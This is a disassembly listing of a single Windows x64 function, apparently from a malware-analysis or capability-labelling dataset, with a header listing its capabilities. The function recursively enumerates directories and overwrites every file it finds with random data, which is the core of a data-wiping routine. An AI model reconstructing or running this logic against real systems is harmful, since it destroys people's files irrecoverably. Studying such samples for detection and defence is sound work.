Function at 0x140001c40
Capabilities:
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov r15, rcx
mov rsi, qword [rcx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 2
jb 0x140002279
mov r12, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140001ca6
mov r12, qword [r15]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rsp + 0x60]
movabs rax, 0x8000000000000000
mov edx, 0x16
cmp r14, rbx
jbe 0x140001d44
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001d0b
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.140004df0
test rax, rax
je 0x140001db9
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001d3f
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001d1f
xor edi, edi
jmp 0x140001d3f
cmp rcx, 0x1000
jb 0x140001d37
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000226d
jmp 0x140001cec
call fcn.140004df0
mov rdi, rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rsi], 0x2a5c
mov byte [rdi + r14], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r13, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001dc5
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001dc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001dc0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000506c
movdqa xmm0, xmmword [0x140008d50]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
cmp r13, 0xffffffffffffffff
jne 0x140001e73
lea rdx, str.Failed_to_open_directory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400040f0
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140001e02
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, rax
call fcn.140004930
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.._Error:
mov rcx, rbx
call fcn.1400040f0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140004dd0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movzx ecx, byte [rbp - 4]
movzx eax, byte [rbp - 3]
cmp cl, 0x2e
jne 0x140001e9a
test al, al
je 0x140002228
cmp cl, cl
jne 0x140001e9a
cmp al, cl
jne 0x140001e9a
cmp byte [rbp - 2], 0
je 0x140002228
mov r14, qword [r15 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x140002273
mov r12, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140001ec5
mov r12, qword [r15]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rsi, [r14 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x40]
cmp rsi, rbx
jbe 0x140001f63
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001f0b
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140001f37
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
je 0x140001f5b
cmp rcx, 0x1000
jb 0x140001f56
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002267
mov rcx, rax
call fcn.140004df0
test rax, rax
je 0x14000224b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001f5e
call fcn.140004df0
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0x5c
mov byte [rdi + rsi], 0
lea rax, [rbp - 4]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001f90
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
cmp rbx, rax
ja 0x140001fe3
lea rax, [rcx + rbx]
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x40]
cmp rdx, 0xf
cmova rdi, qword [rsp + 0x40]
add rdi, rcx
mov r8, rbx
lea rdx, [rbp - 4]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
lea rax, [rsp + 0x40]
jmp 0x140001ff9
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 4]
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140004780
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor edi, edi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140002065
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002060
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002252
call fcn.14000506c
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rcx, [rbp - 0x80]
test byte [rbp - 0x30], 0x10
je 0x14000208c
call fcn.140001c40
jmp 0x1400021f1
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000218e
lea rcx, [rbp - 0x58]
call fcn.140001ad0
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x60]
mov r8d, dword [rbp - 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Overwrote
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400040f0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140004930
lea rdx, str._with_random_data.
mov rcx, rax
call fcn.1400040f0
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400021f1
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002259
call fcn.14000506c
jmp 0x1400021f1
lea rdx, str.Failed_to_open_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400040f0
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rax
call fcn.140004930
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.._Error:
mov rcx, rbx
call fcn.1400040f0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400042d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140002228
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002223
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002260
call fcn.14000506c
lea rdx, [rbp - 0x30]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001e73
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x140001e43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001140
int3
call fcn.140001140
int3
call fcn.1400011e0
int3
call fcn.1400011e0
int3